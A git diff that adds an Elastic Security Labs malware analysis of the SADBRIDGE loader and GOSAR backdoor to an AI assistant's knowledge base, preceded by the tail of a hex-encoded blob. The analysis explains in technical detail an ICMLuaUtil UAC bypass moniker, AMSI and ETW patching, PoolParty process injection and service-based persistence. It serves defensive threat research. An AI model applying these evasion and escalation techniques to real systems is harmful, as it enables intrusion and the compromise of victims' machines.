f1f2d273f9efb978fca8fe3397ecf499f91a9a7859805fec970bfe378126840e460dfd6439a845d310f134ed150fe678de9b0245c7bd39546b7fd16512fcbbcc9a5f77eb768ea8d000b2c88c3d7287569a5a66f03a99f202d0be3f2b497f3db6532d07f0dd3d1973c8af78f9de77005415591eb904609e416ee8971a55f01eafa9eefc2528582fef891c5d81024a369e6cb624917979581d9122fafe69e6647d6b9225387be7b622e75c48a65f512bf8bec3d5d855a24989a686d97a33472b7d2ab8dabf1b11aa6a68b83a6b6c102c4670d7f70bd48fb2a9739529aee81e71563adfb158ee50bc0b0f6656309ba69d4fc504438662936efe854d3b58cc6faf55af79cefcb9afeec58371408df496dad1a9e9c56384bf3934de2ed8b6349a33b881cfb5b0c5e222688e51cb5034f8837561ee862d93ef380ec317909d3819114d4462e6eec95be46de117c15a799d1d082d6f3c3da9c7e0c42a3724121844c9f364b8a22d59995e9994609b65b6f769e023b5a70ba313265e8877426125af6d9f391fe1b6b86f014648d49efeb5695ff1796b6ca80492ff8c26dfbf8dd63113a021bf621c15baa9391bbc25a58baebbd05b98d174fb1614006f5ae8c51c748a27b059e504048ff904de2ed8b6349a33b881cfb5b0c5e222688e51cb5034f8837561ee862d93ef380ec317909d3819114d4462e6eec95be469b713069aead65a894954c064f1e96e8112a7d6fb205ca32e9acc706fc51f6b52ad80b07c313a02b314b599433283b3e95f96fd0a35d2c5b11e6c00586148414d744946b122bf14904fdfbabe7281faa51e0a329485006bdbab0de154134813aecc28f3d0e71dd74937ca20f0bb20323c85d3675a8a18ebf3fe1f534d941b61e09c4e70dd851390153f911253ec09229751fedb8cd7f16c1bb78a3d6e0115fe5ed00198a5105ed9dbc6b80cccb7b0c4354c541eac5a5e23aeee060639da2e833dad7245e921564014f65dce72d5f95df35ff11720f49b2b5719e318fe500c9647d6f850b0fcc1f5f11b79ac315ac96cacc25f90f5058b7834e1e31bbef955c379fb2159a22df562c0c7ae47da1603c0651e0a329485006bdbab0de154134813a7795acd77d38c959f22c67e1bd694200436b7a0e5e56c10842df99128f8e0af95f23669e9868aa50274bdfa70ad59ffd883882ea9ff2282975e4c285309dc85f4e43d4767d6d9dbbaa359bf5f70bc782932a2395a6f1d004863730b8d392edcb77c706e4f3c47154e215ce34693ef78ac089f5ba4a2b724513f0bf89e10b4569bcb11cae0bc2b5aa6afa9e5893aa0546e829fc0460f7044f0dbec17f8ef982a1b374a3c4d49f07dcc85055923b3ede34e34101e5c900694f152b050d9e6906a557fc938df79526adcd15f2cbf3429b523f4c49dad59810d956e96e60a9f3c339378c9d0950b42934d49fe2f94deb672ffa6dfb23a7908b5968de9471bbb6dd61f555d1bbc6b4dbf28d3257a4829ae198241a2f659ae4a69fddeccb3c74f1da6dc80a03a62462fd5924a13ce6ca2fc13dd4ae8ee60f52dbdfe003d571e4e3b4882f3b67ef00a5292f91893641b9b41ee36b511fd59641e886b1308aa470f2c0ba57af24dbe4395e80defb31aec54c4fe58285ff92d0ebbf930090eb5cf3d084476a78ada968d2eb3a5897f83707973c448c863a0a26642f776608815223dfe60774e07e6631e33b5e21ab26bba3dfa1a3559381840060a10d6190b743490a4bbc8503d431b258cbe1504799e62aa071c8d3dc1b56b8cdfcaaea3baa158dce855a7cb39d02d6cb29d05a9a38db3e06afee651b16faf1038ca4731d68cc43ede50474555976a6c0ace921f86d731a73dbbb50680817a100c08f5c602fd2acd2b21fdc5fca364e4dc96ee82ae85ee749fa5d1c843a7ca003320f3183bc99975fde4914fde5d1fc6b5ce9201efb6e3edbc543392e5bdc8ff429ca76dde51704ce29dc5d7876393cf56d0f5ddbca012376535593b83c917e95ba83d41c4721dc1ba37de67e05b67124f06526345a9b2d40dca3ce83550246029d1c672d28dfc4fcb4564944bd72e060581b5cda578a575b2b982322202a8029840099d724b9f34b7182c108ce9ce9fc6481bfc7b604375ae303b374a3c4d49f07dcc85055923b3ede34e34101e5c900694f152b050d9e6906a557fc938df79526adcd15f2cbf3429b523f4c49dad59810d956e96e60a9f3c339378c9d0950b42934d49fe2f94deb672f2a85dc1c960b3b56398c70d0db96a030e867342c73869690cbdb5890fbc6a389c55823c70f2ea0b2795d9d7c5179b64573ac574825b76fa24eb76a99caa16be12090f30bb7de8e1193fe14e28a75f87dd5feac876cfe7b27998f3ebac2eeb4fdfb8b513409e2f16bdf3d997cbba50ddddb531bcbc381f31c85c2cd0481c3dc33f00e101ee511a183f4b1b987029647513c8af78f9de77005415591eb904609e421c9cae55d7a7e5ea975d3913e6238565699d3f4c1a5572781593c7afcaf7078cffbabeb6ba7d441c75b2a6565edebbf877c99274937b1ac44c1713f685aca33f39faa82976c44e0e141a09adb1a3b9232ec82012eb353f9f2cfbab502965b269265898ef9d917765f01ab604338820158772f3908a758a9087774f5218624db8e58c6cae2a1f4e438f71261bc2a3a8caf3176a87a81d9a54f944cceaa6326fc14dc024cc7ca8a940acad6ec9ea0b98e412e808e7081a8dd05e8897a06a2cf7242405ccdae8b3cf6a70c72cbe63d66a697e765b50a2f903db6f7136dad2b71afff6f3a6b40c64a1b3f7a0bc14a166d7cb96798e9845d6acbbe35d6f10e3afe073e364c1823f627f097e05e18a1ca0a516af0eda75a617624ef562d2819adfa34b4d7cf94873c0f26b4810a37598de9ce018c1ed23aab3109a26bc5f482be6583ffeacfd2cef67aa1562b89103b81b4986f06cbc808ac9b8968d1c40d508d4da731dc18212df79e15f98481fab39182cf659fb8f2adb0dcf9a87de158afd50c3d2738c08884caa9077ca58a50221ad15a2f386e9a06ec491f0b9521644f56e82bbea336564e1fa8b9ca6715e5bdfbd37376febe4dd15d521197b0f0eeb904b9acf27caade88a4c585c6a23f457b43a1da7eab1f745353adcf640bc4c609a1ee6f3af4707192e746728e7e9f56f09ca8bc278cf3f20b71974ab03201af40db312a40223b1d44573d2b277b4a9d675d37583d569565ab4f8c29a19ae5d1aceddba8f8404dc4e55a9e10eff8c06db176607eb060e7d41d637ea871f39c411ca8e711b52b77775b825e0dce4c814193ce83cc9c08d64ef806e24b90016fbb4a9e575acfc00b5ff2b4eb84e5ba6a593112fbbb956a6e12b80ebdd629fb9e12a2b9053388fab8ae693c1e6342c297a4cdc87c059078f37ad9cdb9fd6348401031bd7f8109f244493bd23cec6ec5c8faaf9eede377996c5c2ea2ac10e5885d685a1254de07052c4d4cd8391b562f57892ffaeaef3062ea93162491cf970ae0789abbe40d8c244cbf97f46a29c5f7816646173b0da4f3de89bcd21d32680f995b23ad149d70fdb88f9ea38125a5e3719a024be037f420afc9dc998b5b82b94fd7a64eea79570dd325574d4959dde7c0745623dde7f0ebaf05f5105603edd4c8eb3f909f0dc09544790791603c147a2790407b11573c2b42b7ffa2521e63db4031cadc5efb900aa40566222c5386a39b0775ff526cf4bb4eba8d5ff098acb3b701f1a696d3f7144a1484c35ea7283b0fc3261b969b7339633ae5ff75cb34ac351205dd612a065f683de5eb0a2732ca5499a16661fc410ceee4b36c232a262d616881b39109d84c90a0ff164fd4bad91f2d3ae41c91e99d20e146dc10dd7b376852acacb3f1b541ce3bd14361845ce3ba4e312e6bc95b8de5f78316a84b70ceb505af1fb478f469bbb505c571a8a7a8a7416d976be798b31e404c5ac58a4e589d299524766fcb34287e04f159ae87c8a2fb77898f4df9ecc77417d2d4ac2ee2fa3106d87eaddb4d12615d4d71932a2955e15f8c03fbf63bd25bd9147838218144fed3a6f0c90ce0a503c60e392ab3f79c403edcbfd307e67409f018a3813d340692af378aaa3319e65be0023b204f827a26434491f7278ad5ec9b6d4b9ec62ff34ef6f03444a6406bec11b0c87cb2ead54eceee9098665e2910e1d6cd2962b1663988bb70ad6de56c6030905d225b73fa5d24d07ed5e16477098f31826193dc22ddc960900acd11594c3db62c4be12ffbb804b2fbd28d8e62c3768f385f2b11ff55f322a9f3bf87834ab30f1f1d88f197b9a8494e1191414253d308526dc3a39b92f1af4a265da28d2dae645336eb9c3ed92b63c0329cdc6e30c2d1800b8bc30b579dcef36a7bdef4cabdc38699ee4dd68b7cc25bb379e3526f4dc7af81813415c5650e4e6b4c20193d27b87b301f6ee02cb04bcda7c01f6650261eecc76c2fa98d2dfea4b939e9895ba6b01e9a732c33f3a2bbc93e8aff411efcac055d60ee6f2ff4fd1c69238e06604a6ae0469efb500cfa9fe5b113d92456d0940d79415cfd4ef227b6e30f35dd2381d226b6515acfde65972430198b897fe1162c778a0bbb6245d3da8b13319b4ca97a79e5c581b58250d1673b629541bc2ebb056ecaf492c4396212d3af96d304738ae7dc08b142a0abe7e72d7901b0f043e717b8066bd409f03c9e3d4596f49e7cc9e60490db3a08730a42cb1886e688a4bcc9812c2d94744c2f47e0e5186969428897138d16a04ba3cd37a9ac0fc1134a093663ff5fc34682acc4d1cf33e99f19863a37d4ee99bd54ec490253ed33fa3fb76cb96157978bd106b6e82f52d4eeadb0819721164ab5f113c8ec17c22d1efcb7f3955528d0f8281580a5e74ce5f7e3ac812ab0d8e6aa9c1cc391065619fad159875087f12381abc63e4c1aa1ef11961b028d329752d63c3718dadbb9db75c07dccf42c4aa971f30f5f9e2384453740a9b75ea980e3c86a81a5d617dd195d31ebd2a229db36f59baa6842fb6de4b628d8c6ec653a9be6862d5c7890b86d305f36476e86b9d57cc6dd63f62237a004920ead6e8ea74d2b5872bfd8b7d0e0fc0728d9c195cba599a9f454c797655b7b606b354ccaea2e29c98b192faea6e003b5132972999415a0b8e4434e02515170d79e12356f24b51352cbb2e279b60ba9cae44579eea9bdd6e602bebdf2db25be95eef5862b6d2ffb3884ba9c51c0fdd1197ed20efebe19bb2bdd67b850290cab2deba042740d78043e36768505c5499290d7c5d77f00df2def1ea0a2bfc44f31c160e86eae96191724fe928b3fabde9b694429a26aa55281a946ef17783db0da2996c8f2379f85107f9e3c0a08c575ae49dd1d7d5ae6fcbf8cd95c4910487959901f46b84d0fb01e5911314c633a91c9147504e3ad28093ff929c14a1c73becfaee66fd2d571a49a27ea029415b309a12dfa6f95864c9e650d4ddca6f119cd4cd081cdf07bf0729bed116f7c3ff97bb601c45597e6a5b3a1376e89f104a5403f2e7854dc5d17ab1392ff52e72e8b5bc0621227a9a5b58e9915dddebe3f11520d2693080bcb6a190bc412dea3a48e4a24fefd63420b0fe2e0da8e20e2c6c85e469b06ee7df4162dc91fa2a6ce44b3ab95214554a0bca1c2f4036f8dcff4563de8ade3b443e909a19ab61a29f346e09fa9062d231cf5a746c8964756702ab2b28158359297ecfb469475924c80c1ad8e0c8d2a40580ae4ac4898c26916ccc82f300f165310708af5dc9ccff2a5735dc3fe0c60d28e4cb5659dddfe3074a6e1a8f255fc52c31bf8c94f911f16181659374672ff80bda9f51d9d7b27788929a69095c56fdec431782dbb15c7ef0b9914662031cd9d22e8103a69c79e5f80be2bf5b133d9e344f09ea50be2689d8649703233855e7809ac274e2230774d42c2b4c53d9056282d1e40024ae6540d2e032634f9cb284b4f41c7e01c411cc57ff6eb0353267233fef101c05b1758f4d640893cccfa40e2741156423724dbff4548ea465ae28c57de954ff548ab30c8a59335260846aa76dec04c64291d54718859d01ee8d994305c32862fd7c52b4c66f6b84b64b5ca92ef7d856fd9247929f4801d08937d63dbfe38d4f0ac357241bab3f07a759b83c5a7f5b310452b7a0c8ee78a344fdb41afeed2d37a55ba9b61f82e671fcdf90dcc0223d4dc54212059f972662fde57316848bbb8c9e16aa650a64fd7fcd3b2ce8e72249a84b185028f668315c1da64f49bdcd092ef18b934364d06be46a8cc2d7a61bc05838d4922eb6acd978967c3b8c8a03c24fa3a9e1856c16f897edeae9e2066c18eeedb1255d865a8137f79a28558b505cda16362308bd29771e3b4750fca6139e4bf358c8f3c9848dbe89b1f0b1c45ab072fbaa4644466b370a688c392ae306b561209a723f2dbcd43d1002e589678b72429f46dd83a6f2b02868092369eafce23dc1298d308353a2b566906f0e9dee673eae09872b3efb226694fc2c718a30a17522c2418e159e32bd4ad058e2553feaadb4325b18f7159aa7a5a604726a078d9e39b41daf3a5a199aa25ff25ada8f813cfd5bd3c5c47909610ba0a00cf85e780aeda8a4df61c082d5c1f1658c6a930dc3040787512829074a9aaa8835281dd71fb0be677372bb9a2532a1ba54c2caf3a188d93696d203204dd17e3984cb9c8ee927a1273dc565464c34729925e83185a4f9cfcda17106fe5756a2a4037cab58ffed305378e9b4e561f0e1a75add2d2d4a3c653201005e6e4dae5f3ebe83102207063996a8dc9ebe843969f26582801e8048a99fb458d27b46d5f1a5436d33a1a7d902201fec29a8a29df5fbe293bb41fcfcfd3362f3428a7047ebd87dc48981ec2afd917e4d0b0753c87aef1dc1594850bb4fec3583cc082db396e8a8c464f7ebce98a1e5422cba1c523acf883b9e7d6973a0fa90b7250f7e4353005dffd8e63a882d7f700b84ed565b060a5fa83d9d66c0b845e40aa7f1c56acbf7c7c1782711474d6b7e5a2769304d95b6557892b50a313bd75a3a459dab0508f4c8bc3858c2150fd7b33b35b976b39a6139f1454adfb176c48130f91419ddb48d11066c2db0f734e086b6eeb01a781f6b0f5bd14b16e9336b729cd3da502a500dba4806868cce1d24ba9ea5374874b938194b94e76f825f55089771a2a19fee6877b788e9309f4bdf21c8a23b78aa0028a4b2d25a1e9ae7e3aa216c4eb1baf1734a1b2fe6fb88cd6e58db7f42a0633e25aeb76a05044bf3b2894d68584463cad344c888d4ba86c2c55be09e7d1afed0cd03c61ae2d501ff237e7a0b2f08948e4afdb55e105f3c0ad986daa1f833c9afc10c3179f939ee9ba50ee88f691482134334438748d4e07776dd77dce6aac32fa066ce67439e618e1c2cc81f5c15e8441a3e848d1030947b65f6a312be77227459737aa65ee3bb4c4b9e81442fee03c940ed4513723f1c6ed2caea41038434f7201800163e9560bb603e2c30f37de924ad72136b0d817e63ba827098efe367e6d41499c6665a6cc04a4c979c3d564370bd6e111f364e3310ac0c7a6627850653bec1b9211e59b02ea37fb392ccfebdf971f1f5fe36d5639ae83ff9ccc820e1d80e467ce9cc30bc556300d1cf0d35ce079cc6c71c76c820d55c58487b52602e2edf258a77b655186efb284ade4e59bb8fb5c6eb3c511755614b53301f8870d6297987779c8991daabc91e9518d7175dfbd9db3dee3fe03bb01f34d13127043df072ff6c7d15fa06ce91c8bb0081d2bc4fab0597b82b61de0502b9d603bda5b1b64656c94ff1f0f71117fc2c2c4578fba99ef20ccb5d77e672315061caff5ee2f0387ce0831c4af8a7ef60efb81490ac12a6b5376aec5a5ac034183a7 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.md new file mode 100644 index 0000000000000..af230c375cb67 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/under_the_sadbridge_with_gosar.md @@ -0,0 +1,615 @@ +--- +title: "Under the SADBRIDGE with GOSAR: QUASAR Gets a Golang Rewrite" +slug: "under-the-sadbridge-with-gosar" +date: "2024-12-13" +description: "Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims." +author: + - slug: jia-yu-chan + - slug: salim-bitam + - slug: daniel-stepanic + - slug: seth-goodwin +image: "Security Labs Images 21.jpg" +category: + - slug: malware-analysis +--- + +## Introduction + +Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language. + +### Key takeaways + +- Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser +- Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE) +- SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR) +- GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time +- Elastic Security provides comprehensive prevention and detection capabilities against this attack chain + +## REF3864 Campaign Overview + +In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser. + +![Fake Telegram landing page](/assets/images/under-the-sadbridge-with-gosar/image32.png) + +During this investigation, we uncovered multiple infection chains involving similar techniques: + +- Trojanized MSI installers with low detections +- Masquerading using legitimate software bundled with malicious DLLs +- Custom SADBRIDGE loader deployed +- Final stage GOSAR loaded + +We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows `x64dbg.exe` debugging application is used behind-the-scenes to load a malicious, patched DLL (`x64bridge.dll`). This DLL kicks off a new legitimate program (`MonitoringHost.exe`) where it side-loads another malicious DLL (`HealthServiceRuntime.dll`), ultimately performing injection and loading the GOSAR implant in memory via injection. + +Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023\. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as `360tray.exe`, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers. + +QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, [Evolution of Quasar RAT](https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919)), including by China-linked [APT10](https://www.fbi.gov/wanted/cyber/apt-10-group). A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs. + +GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s). + +![SADBRIDGE Execution Chain resulting in GOSAR infection](/assets/images/under-the-sadbridge-with-gosar/image14.png) + +## SADBRIDGE Introduction + +The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as `x64dbg.exe` and `MonitoringHost.exe` to load malicious DLLs like `x64bridge.dll` and `HealthServiceRuntime.dll`, which leads to subsequent stages and shellcodes. + +Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a [UAC bypass technique](https://github.com/0xlane/BypassUAC) that abuses the `ICMLuaUtil` COM interface. In addition, SADBRIDGE incorporates a [privilege escalation bypass](https://github.com/zcgonvh/TaskSchedulerMisc) through Windows Task Scheduler to execute its main payload with SYSTEM level privileges. + +The SADBRIDGE configuration is encrypted using a simple subtraction of `0x1` on each byte of the configuration string. The encrypted stages are all appended with a `.log` extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm. + +SADBRIDGE employs [PoolParty](https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/), APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long `Sleep` API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW). + +The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload. + +## SADBRIDGE Code Analysis + +#### MSI Analysis + +The initial files are packaged in an MSI using [Advanced Installer](https://www.advancedinstaller.com/), the main files of interest are `x64dbg.exe` and `x64bridge.dll`. + +![Significant files inside the MSI installer](/assets/images/under-the-sadbridge-with-gosar/image20.png) + +By using MSI tooling ([lessmsi](https://github.com/activescott/lessmsi)), we can see the `LaunchApp` entrypoint in `aicustact.dll` is configured to execute the file path specified in the `AI_APP_FILE` property. + +![Custom actions configured using Advanced Installer](/assets/images/under-the-sadbridge-with-gosar/image1.png) + +If we navigate to this `AI_APP_FILE` property, we can see the file tied to this configuration is `x64dbg.exe`. This represents the file that will be executed after the installation is completed, the legitimate `NetFxRepairTool.exe` is never executed. + +![AI\_APP\_FILE property configured to launch x64dbg.exe](/assets/images/under-the-sadbridge-with-gosar/image31.png) + +#### x64bridge.dll Side-loading + +When `x64dbg.exe` gets executed, it calls the `BridgeInit` export from `x64bridge.dll`. `BridgeInit` is a wrapper for the `BridgeStart` function. + +![Control flow diagram showing call to BridgeStart](/assets/images/under-the-sadbridge-with-gosar/image30.png) + + +Similar to techniques observed with [BLISTER](https://www.elastic.co/security-labs/blister-loader), SADBRIDGE patches the export of a legitimate DLL. + +![Comparison of BridgeStart export from x64bridge.dll](/assets/images/under-the-sadbridge-with-gosar/image7.png) + +During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed `0x4E67C6A7`. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to `C:\Users\Public\Documents\\edbtmp.log`. This file contains the attributes FILE\_ATTRIBUTE\_SYSTEM, FILE\_ATTRIBUTE\_READONLY, FILE\_ATTRIBUTE\_HIDDEN to hide itself from an ordinary directory listing. + +![Configuration file hidden from users](/assets/images/under-the-sadbridge-with-gosar/image8.png) + +Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by `0x1`. + +The configuration consists of: + +* Possible campaign date +* Strings to be used for creating services +* New name for MonitoringHost.exe (`DevQueryBroker.exe`) +* DLL name for the DLL to be sideloaded by MonitoringHost.exe (`HealthServiceRuntime.dll`) +* Absolute paths for additional stages (`.log` files) +* The primary injection target for hosting GOSAR (`svchost.exe`) + +![SADBRIDGE configuration](/assets/images/under-the-sadbridge-with-gosar/image27.png) + +The `DevQueryBroker` directory (`C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\`) contains all of the encrypted stages (`.log` files) that are decrypted at runtime. The file (`DevQueryBroker.exe`) is a renamed copy of Microsoft legitimate application (`MonitoringHost.exe`). + +![File listing of the DevQueryBroker folder](/assets/images/under-the-sadbridge-with-gosar/image18.png) + +Finally, it creates a process to run `DevQueryBroker.exe` which side-loads the malicious `HealthServiceRuntime.dll` in the same folder. + +#### HealthServiceRuntime.dll + +This module drops both an encrypted and partially decrypted shellcode in the User’s `%TEMP%` directory. The file name for the shellcode follows the format: `log.tmp`. Each byte of the partially decrypted shellcode is then decremented by `0x10` to fully decrypt. The shellcode is executed in a new thread of the same process. + +![Decryption of a shellcode in HealthServiceRuntime.dll](/assets/images/under-the-sadbridge-with-gosar/image10.png) + +The malware leverages API hashing using the same algorithm in [research](https://www.sonicwall.com/blog/project-androm-backdoor-trojan) published by SonicWall, the hashing algorithm is listed in the Appendix [section](#appendix). The shellcode decrypts `DevQueryBroker.log` into a PE file then performs a simple XOR operation with a single byte (`0x42)` in the first third of the file where then it decompresses the result using the LZNT1 algorithm. + +![Shellcode decrypting DevQueryBroker.log file](/assets/images/under-the-sadbridge-with-gosar/image3.png) + +The shellcode then unmaps any existing mappings at the PE file's preferred base address using `NtUnmapViewOfSection`, ensuring that a call to `VirtualAlloc` will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific `.log` files they reference for decryption and execution. + +#### DevQueryBroker.log + +The malware dynamically loads `amsi.dll` to disable critical security mechanisms in Windows. It patches `AmsiScanBuffer` in `amsi.dll` by inserting instructions to modify the return value to `0x80070057`, the standardized Microsoft error code `E_INVALIDARG` indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches `AmsiOpenSession` to always return the same error code `E_INVALIDARG`. Additionally, it patches `EtwEventWrite` in `ntdll.dll`, replacing the first instruction with a `ret` instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity. + +![Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs](/assets/images/under-the-sadbridge-with-gosar/image17.png) + +Following the patching, an encrypted shellcode is written to `temp.ini` at path (`C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini`). +The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the `SECURITY_LOCAL_SYSTEM_RID` and calling `CheckTokenMembership`. If not, it attempts to check for membership in the Administrators group by creating a SID using `SECURITY_BUILTIN_DOMAIN_RID` and `DOMAIN_ALIAS_RID_ADMINS` and performing a similar token membership check. + +If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a [UAC bypass mechanism](https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512) by leveraging the `ICMLuaUtil` COM interface. It crafts a moniker string `"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"` to create an instance of the `CMSTPLUA` object with Administrator privileges. Once the object is created and the `ICMLuaUtil` interface is obtained, the malware uses the exposed `ShellExec` method of the interface to run `DevQueryBroker.exe`. + +![Privilege Escalation via ICMLuaUtil COM interface](/assets/images/under-the-sadbridge-with-gosar/image11.png) + +If a task or a service is not created to run `DevQueryBroker.exe` routinely, the malware checks if the Anti-Virus process `360tray.exe` is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties: + +* Service name: **DevQueryBrokerService** + Binary path name: **“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”**. +* Display name: **DevQuery Background Discovery Broker Service** +* Description: **Enables apps to discover devices with a background task.** +* Start type: **Automatically at system boot** +* Privileges: **LocalSystem** + +If `360tray.exe` is detected running, the malware writes an encrypted PE file to `DevQueryBrokerService.log`, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it. + +Once `DevQueryBroker.exe` is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there. + +On Windows 7, however, it executes a shellcode, which decrypts and runs the `DevQueryBrokerPre.log` file. + +### Stage 1 Injection (explorer.exe) + +SADBRIDGE utilizes [PoolParty Variant 7](https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/) to inject shellcode into `explorer.exe` by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within `explorer.exe` to store the shellcode. Additional memory is allocated to store a crafted [`TP_DIRECT`](https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42) structure, which includes the base address of the shellcode as the callback address. Finally, it calls `ZwSetIoCompletion`, passing a pointer to the `TP_DIRECT` structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode. + +![I/O Completion Port Shellcode Injection](/assets/images/under-the-sadbridge-with-gosar/image21.png) + +This shellcode decrypts the `DevQueryBrokerService.log` file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode. + +### Stage 2 Injection (spoolsv.exe/lsass.exe) + +For Stage 2, SADBRIDGE injects shellcode into `spoolsv.exe`, or `lsass.exe` if `spoolsv.exe` is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts `DevQueryBrokerPre.log` into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point. + +#### DevQueryBrokerService.log + +The shellcode decrypted from `DevQueryBrokerService.log` as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC [bypass technique](https://github.com/zcgonvh/TaskSchedulerMisc) using the `IElevatedFactorySever` COM object to indirectly create the scheduled task. This task is configured to run `DevQueryBroker.exe` on a daily basis with SYSTEM level privileges using the task name `DevQueryBrokerService`. + +![GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)](/assets/images/under-the-sadbridge-with-gosar/image9.png) + +In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from `explorer.exe`. + +![DevQueryBrokerService.log Spoofed Image Command-Line](/assets/images/under-the-sadbridge-with-gosar/image13.png) + +#### DevQueryBrokerPre.log + +SADBRIDGE creates a service named `DevQueryBrokerServiceSvc` under the registry subkey `SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc` with the following attributes: + +* **Description**: Enables apps to discover devices with a background task. +* **DisplayName**: DevQuery Background Discovery Broker Service +* **ErrorControl**: 1 +* **ImagePath**: `%systemRoot%\system32\svchost.exe -k netsvcs` +* **ObjectName**: LocalSystem +* **Start**: 2 (auto-start) +* **Type**: 16\. +* **Failure Actions**: + * Resets failure count every 24 hours. + * Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third. + +The service parameters specify the `ServiceDll` located at `C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\\DevQueryBrokerService.dll`. If the DLL file does not exist, it will be dropped to disk right after. + +`DevQueryBrokerService.dll` has a similar code structure as `HealthServiceRuntime.dll`, which is seen in the earlier stages of the execution chain. It is responsible for decrypting `DevQueryBroker.log` and running it. The `ServiceDll` will be loaded and executed by `svchost.exe` when the service starts. + +![svchost.exe’s malicious ServiceDLL parameter](/assets/images/under-the-sadbridge-with-gosar/image12.png) + +Additionally, it modifies the `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs` key to include an entry for `DevQueryBrokerServiceSvc` to integrate the newly created service into the group of services managed by the `netsvcs` service host group. + 